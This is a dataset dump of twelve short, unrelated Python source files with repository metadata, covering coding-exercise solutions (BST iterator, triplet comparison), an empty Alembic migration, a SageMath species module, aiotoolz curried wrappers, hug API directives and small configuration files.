] | null | null | null | Leetcode/0173. Binary Search Tree Iterator/0173-2.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | Leetcode/0173. Binary Search Tree Iterator/0173-2.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | class BSTIterator:
def __init__(self, root: Optional[TreeNode]):
self.stack = []
self.pushLeftsUntilNull_(root)
def next(self) -> int:
root = self.stack.pop()
self.pushLeftsUntilNull_(root.right)
return root.val
def hasNext(self) -> bool:
return self.stack
def pushLeftsUntilNull_(self, root: Optional[TreeNode]) -> None:
while root:
self.stack.append(root)
root = root.left
| 23.666667 | 66 | 0.669014 | 51 | 426 | 5.45098 | 0.431373 | 0.129496 | 0.115108 | 0.172662 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20892 | 426 | 17 | 67 | 25.058824 | 0.824926 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.071429 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d7af5f5e2063f5323e601898f01d9fb2ae01359 | 514 | py | Python | migrations/versions/80856cd94229_.py | manavshrivastavagit/ats-backend | 0751ecbfe8b1d984c3a1f0af63eaff84d3d476a2 | [
"MIT"
] | null | null | null | migrations/versions/80856cd94229_.py | manavshrivastavagit/ats-backend | 0751ecbfe8b1d984c3a1f0af63eaff84d3d476a2 | [
"MIT"
] | null | null | null | migrations/versions/80856cd94229_.py | manavshrivastavagit/ats-backend | 0751ecbfe8b1d984c3a1f0af63eaff84d3d476a2 | [
"MIT"
] | null | null | null | """empty message
Revision ID: 80856cd94229
Revises: b0af66e0f5d3
Create Date: 2019-12-15 18:52:28.840062
"""
# revision identifiers, used by Alembic.
revision = '80856cd94229'
down_revision = 'b0af66e0f5d3'
from alembic import op
import sqlalchemy as sa
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
pass
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
pass
# ### end Alembic commands ###
| 19.037037 | 65 | 0.678988 | 60 | 514 | 5.8 | 0.616667 | 0.077586 | 0.12069 | 0.132184 | 0.367816 | 0.367816 | 0.367816 | 0.367816 | 0.367816 | 0.367816 | 0 | 0.126829 | 0.202335 | 514 | 26 | 66 | 19.769231 | 0.721951 | 0.57393 | 0 | 0.25 | 0 | 0 | 0.131868 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
5d7caa1957f77435b943663d72206c7f55ddb431 | 327 | py | Python | src/unittest/python/logging_tests.py | h1f1x/aws-account-janitor | 96c0eb1c4e49be8d8d156d4df6274426a89912d5 | [
"MIT"
] | 1 | 2019-02-02T11:01:23.000Z | 2019-02-02T11:01:23.000Z | src/unittest/python/logging_tests.py | h1f1x/aws-account-janitor | 96c0eb1c4e49be8d8d156d4df6274426a89912d5 | [
"MIT"
] | 1 | 2021-04-30T20:57:51.000Z | 2021-04-30T20:57:51.000Z | src/unittest/python/logging_tests.py | h1f1x/aws-account-janitor | 96c0eb1c4e49be8d8d156d4df6274426a89912d5 | [
"MIT"
] | null | null | null | from io import StringIO
import unittest
from unittest.mock import patch
from aws_account_janitor.logging import log
class LoggingTests(unittest.TestCase):
def test_log(self):
with patch('sys.stdout', new=StringIO()) as fake_out:
log('foo')
self.assertEqual('foo\n', fake_out.getvalue())
| 23.357143 | 61 | 0.697248 | 44 | 327 | 5.068182 | 0.659091 | 0.06278 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201835 | 327 | 13 | 62 | 25.153846 | 0.854406 | 0 | 0 | 0 | 0 | 0 | 0.055046 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.444444 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
5d8c9e7219f46017e269e9bf74a112269f6ce249 | 5,501 | py | Python | src/sage/combinat/species/linear_order_species.py | bopopescu/sage | 2d495be78e0bdc7a0a635454290b27bb4f5f70f0 | [
"BSL-1.0"
] | 4 | 2020-07-17T04:49:44.000Z | 2020-07-29T06:33:51.000Z | src/sage/combinat/species/linear_order_species.py | Ivo-Maffei/sage | 467fbc70a08b552b3de33d9065204ee9cbfb02c7 | [
"BSL-1.0"
] | 2 | 2018-10-30T13:40:20.000Z | 2020-07-23T12:13:30.000Z | src/sage/combinat/species/linear_order_species.py | Ivo-Maffei/sage | 467fbc70a08b552b3de33d9065204ee9cbfb02c7 | [
"BSL-1.0"
] | 7 | 2021-11-08T10:01:59.000Z | 2022-03-03T11:25:52.000Z | """
Linear-order Species
"""
from __future__ import absolute_import
#*****************************************************************************
# Copyright (C) 2008 Mike Hansen <mhansen@gmail.com>,
#
# Distributed under the terms of the GNU General Public License (GPL)
#
# This code is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# The full text of the GPL is available at:
#
# http://www.gnu.org/licenses/
#*****************************************************************************
from .species import GenericCombinatorialSpecies
from .structure import GenericSpeciesStructure
from .generating_series import _integers_from
from sage.structure.unique_representation import UniqueRepresentation
from sage.combinat.species.misc import accept_size
class LinearOrderSpeciesStructure(GenericSpeciesStructure):
def canonical_label(self):
"""
EXAMPLES::
sage: P = species.LinearOrderSpecies()
sage: s = P.structures(["a", "b", "c"]).random_element()
sage: s.canonical_label()
['a', 'b', 'c']
"""
return self.__class__(self.parent(), self._labels, range(1, len(self._labels)+1))
def transport(self, perm):
"""
Returns the transport of this structure along the permutation
perm.
EXAMPLES::
sage: F = species.LinearOrderSpecies()
sage: a = F.structures(["a", "b", "c"]).random_element(); a
['a', 'b', 'c']
sage: p = PermutationGroupElement((1,2))
sage: a.transport(p)
['b', 'a', 'c']
"""
return LinearOrderSpeciesStructure(self.parent(), self._labels, [perm(i) for i in self._list])
def automorphism_group(self):
"""
Returns the group of permutations whose action on this structure
leave it fixed. For the species of linear orders, there is no
non-trivial automorphism.
EXAMPLES::
sage: F = species.LinearOrderSpecies()
sage: a = F.structures(["a", "b", "c"]).random_element(); a
['a', 'b', 'c']
sage: a.automorphism_group()
Symmetric group of order 1! as a permutation group
"""
from sage.groups.all import SymmetricGroup
return SymmetricGroup(1)
class LinearOrderSpecies(GenericCombinatorialSpecies, UniqueRepresentation):
@staticmethod
@accept_size
def __classcall__(cls, *args, **kwds):
r"""
EXAMPLES::
sage: L = species.LinearOrderSpecies(); L
Linear order species
"""
return super(LinearOrderSpecies, cls).__classcall__(cls, *args, **kwds)
def __init__(self, min=None, max=None, weight=None):
"""
Returns the species of linear orders.
EXAMPLES::
sage: L = species.LinearOrderSpecies()
sage: L.generating_series().coefficients(5)
[1, 1, 1, 1, 1]
sage: L = species.LinearOrderSpecies()
sage: L._check()
True
sage: L == loads(dumps(L))
True
"""
GenericCombinatorialSpecies.__init__(self, min=min, max=max, weight=None)
self._name = "Linear order species"
_default_structure_class = LinearOrderSpeciesStructure
def _structures(self, structure_class, labels):
"""
EXAMPLES::
sage: L = species.LinearOrderSpecies()
sage: L.structures([1,2,3]).list()
[[1, 2, 3], [1, 3, 2], [2, 1, 3], [2, 3, 1], [3, 1, 2], [3, 2, 1]]
"""
from sage.combinat.permutation import Permutations
for p in Permutations(len(labels)):
yield structure_class(self, labels, p._list)
def _isotypes(self, structure_class, labels):
"""
EXAMPLES::
sage: L = species.LinearOrderSpecies()
sage: L.isotypes([1,2,3]).list()
[[1, 2, 3]]
"""
yield structure_class(self, labels, range(1, len(labels)+1))
def _gs_list(self, base_ring):
r"""
The generating series for the species of linear orders is
`\frac{1}{1-x}`.
EXAMPLES::
sage: L = species.LinearOrderSpecies()
sage: g = L.generating_series()
sage: g.coefficients(10)
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
"""
return [base_ring(1)]
def _itgs_list(self, base_ring):
r"""
The isomorphism type generating series is given by
`\frac{1}{1-x}`.
EXAMPLES::
sage: L = species.LinearOrderSpecies()
sage: g = L.isotype_generating_series()
sage: g.coefficients(10)
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
"""
return [base_ring(1)]
def _cis_iterator(self, base_ring):
"""
EXAMPLES::
sage: L = species.LinearOrderSpecies()
sage: g = L.cycle_index_series()
sage: g.coefficients(5)
[p[], p[1], p[1, 1], p[1, 1, 1], p[1, 1, 1, 1]]
"""
from sage.combinat.sf.sf import SymmetricFunctions
p = SymmetricFunctions(base_ring).power()
for n in _integers_from(0):
yield p([1]*n)
#Backward compatibility
LinearOrderSpecies_class = LinearOrderSpecies
| 31.982558 | 102 | 0.563716 | 614 | 5,501 | 4.928339 | 0.275244 | 0.019828 | 0.021811 | 0.022472 | 0.328817 | 0.261071 | 0.206543 | 0.185724 | 0.171183 | 0.171183 | 0 | 0.022564 | 0.291038 | 5,501 | 171 | 103 | 32.169591 | 0.753333 | 0.503181 | 0 | 0.047619 | 0 | 0 | 0.009723 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.238095 | false | 0 | 0.214286 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
5d8f1164418dfdd825f97e587cacd0d17d12edef | 2,879 | py | Python | aiotoolz/curried/__init__.py | eabrouwer3/aiotoolz | 10790c9c5a8413502d8f35ce157966290492dbab | [
"BSD-3-Clause"
] | null | null | null | aiotoolz/curried/__init__.py | eabrouwer3/aiotoolz | 10790c9c5a8413502d8f35ce157966290492dbab | [
"BSD-3-Clause"
] | null | null | null | aiotoolz/curried/__init__.py | eabrouwer3/aiotoolz | 10790c9c5a8413502d8f35ce157966290492dbab | [
"BSD-3-Clause"
] | null | null | null | """
Alternate namespace for aiotoolz such that all functions are curried
Currying provides implicit partial evaluation of all functions
Example:
Get usually requires two arguments, an index and a collection
>>> from aiotoolz.curried import get
>>> get(0, ('a', 'b'))
'a'
When we use it in higher order functions we often want to pass a partially
evaluated form
>>> data = [(1, 2), (11, 22), (111, 222)]
>>> list(map(lambda seq: get(0, seq), data))
[1, 11, 111]
The curried version allows simple expression of partial evaluation
>>> list(map(get(0), data))
[1, 11, 111]
See Also:
aiotoolz.functoolz.curry
"""
import aiotoolz
from . import operator
from aiotoolz import (
comp,
complement,
compose,
concat,
concatv,
count,
curry,
diff,
dissoc,
first,
flip,
frequencies,
identity,
interleave,
isdistinct,
isiterable,
juxt,
last,
memoize,
merge_sorted,
peek,
pipe,
second,
thread_first,
thread_last,
)
from .exceptions import merge, merge_with
accumulate = aiotoolz.curry(aiotoolz.accumulate)
assoc = aiotoolz.curry(aiotoolz.assoc)
assoc_in = aiotoolz.curry(aiotoolz.assoc_in)
cons = aiotoolz.curry(aiotoolz.cons)
countby = aiotoolz.curry(aiotoolz.countby)
do = aiotoolz.curry(aiotoolz.do)
drop = aiotoolz.curry(aiotoolz.drop)
excepts = aiotoolz.curry(aiotoolz.excepts)
filter = aiotoolz.curry(aiotoolz.filter)
get = aiotoolz.curry(aiotoolz.get)
get_in = aiotoolz.curry(aiotoolz.get_in)
groupby = aiotoolz.curry(aiotoolz.groupby)
interpose = aiotoolz.curry(aiotoolz.interpose)
itemfilter = aiotoolz.curry(aiotoolz.itemfilter)
itemmap = aiotoolz.curry(aiotoolz.itemmap)
iterate = aiotoolz.curry(aiotoolz.iterate)
join = aiotoolz.curry(aiotoolz.join)
keyfilter = aiotoolz.curry(aiotoolz.keyfilter)
keymap = aiotoolz.curry(aiotoolz.keymap)
map = aiotoolz.curry(aiotoolz.map)
mapcat = aiotoolz.curry(aiotoolz.mapcat)
nth = aiotoolz.curry(aiotoolz.nth)
partial = aiotoolz.curry(aiotoolz.partial)
partition = aiotoolz.curry(aiotoolz.partition)
partition_all = aiotoolz.curry(aiotoolz.partition_all)
partitionby = aiotoolz.curry(aiotoolz.partitionby)
pluck = aiotoolz.curry(aiotoolz.pluck)
random_sample = aiotoolz.curry(aiotoolz.random_sample)
reduce = aiotoolz.curry(aiotoolz.reduce)
reduceby = aiotoolz.curry(aiotoolz.reduceby)
remove = aiotoolz.curry(aiotoolz.remove)
sliding_window = aiotoolz.curry(aiotoolz.sliding_window)
sorted = aiotoolz.curry(aiotoolz.sorted)
tail = aiotoolz.curry(aiotoolz.tail)
take = aiotoolz.curry(aiotoolz.take)
take_nth = aiotoolz.curry(aiotoolz.take_nth)
topk = aiotoolz.curry(aiotoolz.topk)
unique = aiotoolz.curry(aiotoolz.unique)
update_in = aiotoolz.curry(aiotoolz.update_in)
valfilter = aiotoolz.curry(aiotoolz.valfilter)
valmap = aiotoolz.curry(aiotoolz.valmap)
del exceptions
del aiotoolz
| 28.50495 | 78 | 0.74505 | 361 | 2,879 | 5.891967 | 0.354571 | 0.250588 | 0.404795 | 0.03244 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010989 | 0.146579 | 2,879 | 100 | 79 | 28.79 | 0.854701 | 0.228204 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.054795 | 0 | 0.054795 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5da045326ce019ff1ae9435159bcc1df4553beba | 785 | py | Python | colossalai/communication/__init__.py | DevinCheung/ColossalAI | 632e622de818697f9949e35117c0432d88f62c87 | [
"Apache-2.0"
] | null | null | null | colossalai/communication/__init__.py | DevinCheung/ColossalAI | 632e622de818697f9949e35117c0432d88f62c87 | [
"Apache-2.0"
] | null | null | null | colossalai/communication/__init__.py | DevinCheung/ColossalAI | 632e622de818697f9949e35117c0432d88f62c87 | [
"Apache-2.0"
] | null | null | null | from .collective import all_gather, reduce_scatter, all_reduce
from .p2p import (send_forward, send_forward_recv_forward, send_backward_recv_forward,
send_backward, send_backward_recv_backward, send_forward_recv_backward,
send_forward_backward_recv_forward_backward, recv_forward, recv_backward)
from .ring import ring_forward
from .utils import send_tensor_meta, recv_tensor_meta
__all__ = [
'all_gather', 'reduce_scatter', 'all_reduce',
'send_forward', 'send_forward_recv_forward', 'send_forward_backward_recv_forward_backward',
'send_backward', 'send_backward_recv_backward', 'send_backward_recv_forward',
'send_forward_recv_backward', 'recv_backward', 'recv_forward',
'ring_forward', 'send_tensor_meta', 'recv_tensor_meta'
] | 56.071429 | 95 | 0.788535 | 101 | 785 | 5.514851 | 0.158416 | 0.193896 | 0.204668 | 0.118492 | 0.692998 | 0.617594 | 0.276481 | 0 | 0 | 0 | 0 | 0.001464 | 0.129936 | 785 | 14 | 96 | 56.071429 | 0.814056 | 0 | 0 | 0 | 0 | 0 | 0.349873 | 0.187023 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
5dab1aee77122669469b0909986f7bf940703569 | 4,923 | py | Python | hug/directives.py | sourcery-ai-bot/hug | 554bcbbcec05ca0c7abb438c05f423d9d7032f56 | [
"MIT"
] | null | null | null | hug/directives.py | sourcery-ai-bot/hug | 554bcbbcec05ca0c7abb438c05f423d9d7032f56 | [
"MIT"
] | null | null | null | hug/directives.py | sourcery-ai-bot/hug | 554bcbbcec05ca0c7abb438c05f423d9d7032f56 | [
"MIT"
] | null | null | null | """hug/directives.py
Defines the directives built into hug. Directives allow attaching behaviour to an API handler based simply
on an argument it takes and that arguments default value. The directive gets called with the default supplied,
ther request data, and api_version. The result of running the directive method is then set as the argument value.
Directive attributes are always prefixed with 'hug_'
Copyright (C) 2016 Timothy Edmund Crosley
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and
to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or
substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
"""
from __future__ import absolute_import
from functools import partial
from timeit import default_timer as python_timer
from hug import introspect
def _built_in_directive(directive):
"""Marks a callable as a built-in directive"""
directive.directive = True
return directive
@_built_in_directive
class Timer(object):
"""Keeps track of time surpased since instantiation, outputed by doing float(instance)"""
__slots__ = ("start", "round_to")
def __init__(self, round_to=None, **kwargs):
self.start = python_timer()
self.round_to = round_to
def __float__(self):
time_taken = python_timer() - self.start
return round(time_taken, self.round_to) if self.round_to else time_taken
def __int__(self):
return int(round(float(self)))
def __native_types__(self):
return self.__float__()
def __str__(self):
return str(float(self))
def __repr__(self):
return "{}({})".format(self.__class__.__name__, self)
@_built_in_directive
def module(default=None, api=None, **kwargs):
"""Returns the module that is running this hug API function"""
return api.module if api else default
@_built_in_directive
def api(default=None, api=None, **kwargs):
"""Returns the api instance in which this API function is being ran"""
return api or default
@_built_in_directive
def api_version(default=None, api_version=None, **kwargs):
"""Returns the current api_version as a directive for use in both request and not request handling code"""
return api_version
@_built_in_directive
def documentation(default=None, api_version=None, api=None, **kwargs):
"""returns documentation for the current api"""
api_version = default or api_version
if api:
return api.http.documentation(base_url="", api_version=api_version)
@_built_in_directive
def session(context_name="session", request=None, **kwargs):
"""Returns the session associated with the current request"""
return request and request.context.get(context_name, None)
@_built_in_directive
def user(default=None, request=None, **kwargs):
"""Returns the current logged in user"""
return request and request.context.get("user", None) or default
@_built_in_directive
def cors(support="*", response=None, **kwargs):
"""Adds the the Access-Control-Allow-Origin header to this endpoint, with the specified support"""
response and response.set_header("Access-Control-Allow-Origin", support)
return support
@_built_in_directive
class CurrentAPI(object):
"""Returns quick access to all api functions on the current version of the api"""
__slots__ = ("api_version", "api")
def __init__(self, default=None, api_version=None, **kwargs):
self.api_version = api_version
self.api = api(**kwargs)
def __getattr__(self, name):
function = self.api.http.versioned.get(self.api_version, {}).get(name, None)
if not function:
function = self.api.http.versioned.get(None, {}).get(name, None)
if not function:
raise AttributeError("API Function {0} not found".format(name))
accepts = function.interface.arguments
if "hug_api_version" in accepts:
function = partial(function, hug_api_version=self.api_version)
if "hug_current_api" in accepts:
function = partial(function, hug_current_api=self)
return function
| 36.466667 | 113 | 0.734105 | 694 | 4,923 | 5.020173 | 0.31268 | 0.051665 | 0.050517 | 0.038175 | 0.185132 | 0.149828 | 0.019518 | 0 | 0 | 0 | 0 | 0.001244 | 0.183425 | 4,923 | 134 | 114 | 36.738806 | 0.865423 | 0.430835 | 0 | 0.166667 | 0 | 0 | 0.046647 | 0.00984 | 0 | 0 | 0 | 0 | 0 | 1 | 0.242424 | false | 0 | 0.060606 | 0.060606 | 0.575758 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
5dabf31d0076e92a617c010f0e9a15f4ce0396f3 | 858 | py | Python | python_solutions/problems/Compare the Triplets.py | ersincebi/hackerrank | 9475c8e88e9071544c10a939fe7307c8e62fe3a0 | [
"MIT"
] | null | null | null | python_solutions/problems/Compare the Triplets.py | ersincebi/hackerrank | 9475c8e88e9071544c10a939fe7307c8e62fe3a0 | [
"MIT"
] | null | null | null | python_solutions/problems/Compare the Triplets.py | ersincebi/hackerrank | 9475c8e88e9071544c10a939fe7307c8e62fe3a0 | [
"MIT"
] | null | null | null | #!/bin/python3
import math
import os
import random
import re
import sys
#
# Complete the 'compareTriplets' function below.
#
# The function is expected to return an INTEGER_ARRAY.
# The function accepts following parameters:
# 1. INTEGER_ARRAY a
# 2. INTEGER_ARRAY b
#
def compareTriplets(a, b):
# Write your code here
a0, a1, a2 = a
b0, b1, b2 = b
resa = ( 1 if a0>b0 else 0 ) + ( 1 if a1>b1 else 0 ) + ( 1 if a2>b2 else 0 )
resb = ( 1 if a0<b0 else 0 ) + ( 1 if a1<b1 else 0 ) + ( 1 if a2<b2 else 0 )
return ' '.join([str(resa), str(resb)])
if __name__ == '__main__':
# fptr = open(os.environ['OUTPUT_PATH'], 'w')
a = list(map(int, '17 28 30'.rstrip().split()))
b = list(map(int, '99 16 8'.rstrip().split()))
result = compareTriplets(a, b)
print(result)
# fptr.write(' '.join(map(str, result)))
# fptr.write('\n')
# fptr.close()
| 20.926829 | 77 | 0.631702 | 144 | 858 | 3.680556 | 0.472222 | 0.033962 | 0.045283 | 0.060377 | 0.135849 | 0.135849 | 0.135849 | 0.135849 | 0.135849 | 0.135849 | 0 | 0.064516 | 0.205128 | 858 | 40 | 78 | 21.45 | 0.71261 | 0.384615 | 0 | 0 | 0 | 0 | 0.046693 | 0 | 0 | 0 | 0 | 0.025 | 0 | 1 | 0.0625 | false | 0 | 0.3125 | 0 | 0.4375 | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
5daf8812f38c8100540cbed950aa91f324809f22 | 300 | py | Python | countryware/apps.py | un33k/django-countryware | 104035858b01ffeb7746b2db47ddd5e4e2bbce83 | [
"MIT"
] | 2 | 2018-07-09T13:09:08.000Z | 2021-06-23T18:15:55.000Z | countryware/apps.py | un33k/django-countryware | 104035858b01ffeb7746b2db47ddd5e4e2bbce83 | [
"MIT"
] | null | null | null | countryware/apps.py | un33k/django-countryware | 104035858b01ffeb7746b2db47ddd5e4e2bbce83 | [
"MIT"
] | null | null | null | from django.apps import apps
from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
class CountrywareConfig(AppConfig):
"""
Configuration entry point for the countryware app
"""
label = name = 'countryware'
verbose_name = _("countryware app")
| 25 | 55 | 0.74 | 35 | 300 | 6.228571 | 0.628571 | 0.137615 | 0.12844 | 0.183486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186667 | 300 | 11 | 56 | 27.272727 | 0.893443 | 0.163333 | 0 | 0 | 0 | 0 | 0.110638 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 1.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
5dbfa00577e22262735dcf7d8d5c70121fb00bf3 | 639 | py | Python | _Listas/sherlock.py | M3nin0/supreme-broccoli | 186c1ea3b839ba3139f9301660dec8fbd27a162e | [
"Apache-2.0"
] | null | null | null | _Listas/sherlock.py | M3nin0/supreme-broccoli | 186c1ea3b839ba3139f9301660dec8fbd27a162e | [
"Apache-2.0"
] | null | null | null | _Listas/sherlock.py | M3nin0/supreme-broccoli | 186c1ea3b839ba3139f9301660dec8fbd27a162e | [
"Apache-2.0"
] | null | null | null | # Quem é o culpado
perguntas = []
ct = 0
pt = 0
quest = input("Você telefonou a vitima: ")
perguntas.append(quest)
quest = input("Vocẽ esteve no local do crime: ")
perguntas.append(quest)
quest = input("Você mora perto da vitima? ")
perguntas.append(quest)
quest = input("Devia para a vitima? ")
perguntas.append(quest)
quest = input("Já trabalhou com a vitima? ")
perguntas.append(quest)
while ct <= len(perguntas) - 1:
if perguntas[ct] in "sim":
pt += 1
ct += 1
if pt >= 1 and pt <= 2:
print("Você é um suspeito")
elif pt >= 3 and pt <= 4:
print("Você é cumplice!")
if pt == 5:
print("CULPADO,CULPADO, VOCÊ SERÁ PRESO!!!")
| 19.96875 | 48 | 0.661972 | 102 | 639 | 4.147059 | 0.460784 | 0.118203 | 0.236407 | 0.245863 | 0.394799 | 0.260047 | 0.174941 | 0 | 0 | 0 | 0 | 0.019231 | 0.186228 | 639 | 31 | 49 | 20.612903 | 0.794231 | 0.025039 | 0 | 0.217391 | 0 | 0 | 0.326892 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.130435 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5dc1196cf921504ab154f544ea421aa28cba48cd | 190 | py | Python | finvizfinance/__init__.py | lit26/finvizfinance | b56240fcaab71466aa27ee9ec483e2c9d08d7dbc | [
"MIT"
] | 167 | 2020-08-18T04:27:31.000Z | 2022-03-31T08:20:42.000Z | finvizfinance/__init__.py | iamwillcode/finvizfinance | b56240fcaab71466aa27ee9ec483e2c9d08d7dbc | [
"MIT"
] | 34 | 2021-01-04T07:35:19.000Z | 2022-03-30T21:12:33.000Z | finvizfinance/__init__.py | iamwillcode/finvizfinance | b56240fcaab71466aa27ee9ec483e2c9d08d7dbc | [
"MIT"
] | 35 | 2020-09-28T20:59:20.000Z | 2022-03-31T20:22:57.000Z | """
.. module:: __init__
:synopsis: finvizfinance package general information
.. moduleauthor:: Tianning Li <ltianningli@gmail.com>
"""
__version__ = "0.10"
__author__ = "Tianning Li"
| 19 | 56 | 0.710526 | 19 | 190 | 6.473684 | 0.894737 | 0.162602 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018519 | 0.147368 | 190 | 9 | 57 | 21.111111 | 0.740741 | 0.694737 | 0 | 0 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5df330351a13f1c60c8769b0775a60c5fb88c653 | 177 | py | Python | compiler/model_configs/sram_9b_256w_4wpr_15las_1rw.py | mudassiruddin/OpenRAM | 0589a35f7315fc075eaca38c0abd477703e70bf7 | [
"BSD-3-Clause"
] | null | null | null | compiler/model_configs/sram_9b_256w_4wpr_15las_1rw.py | mudassiruddin/OpenRAM | 0589a35f7315fc075eaca38c0abd477703e70bf7 | [
"BSD-3-Clause"
] | null | null | null | compiler/model_configs/sram_9b_256w_4wpr_15las_1rw.py | mudassiruddin/OpenRAM | 0589a35f7315fc075eaca38c0abd477703e70bf7 | [
"BSD-3-Clause"
] | null | null | null | word_size = 9
num_words = 256
words_per_row = 4
local_array_size = 15
output_extended_config = True
output_datasheet_info = True
netlist_only = True
nominal_corner_only = True
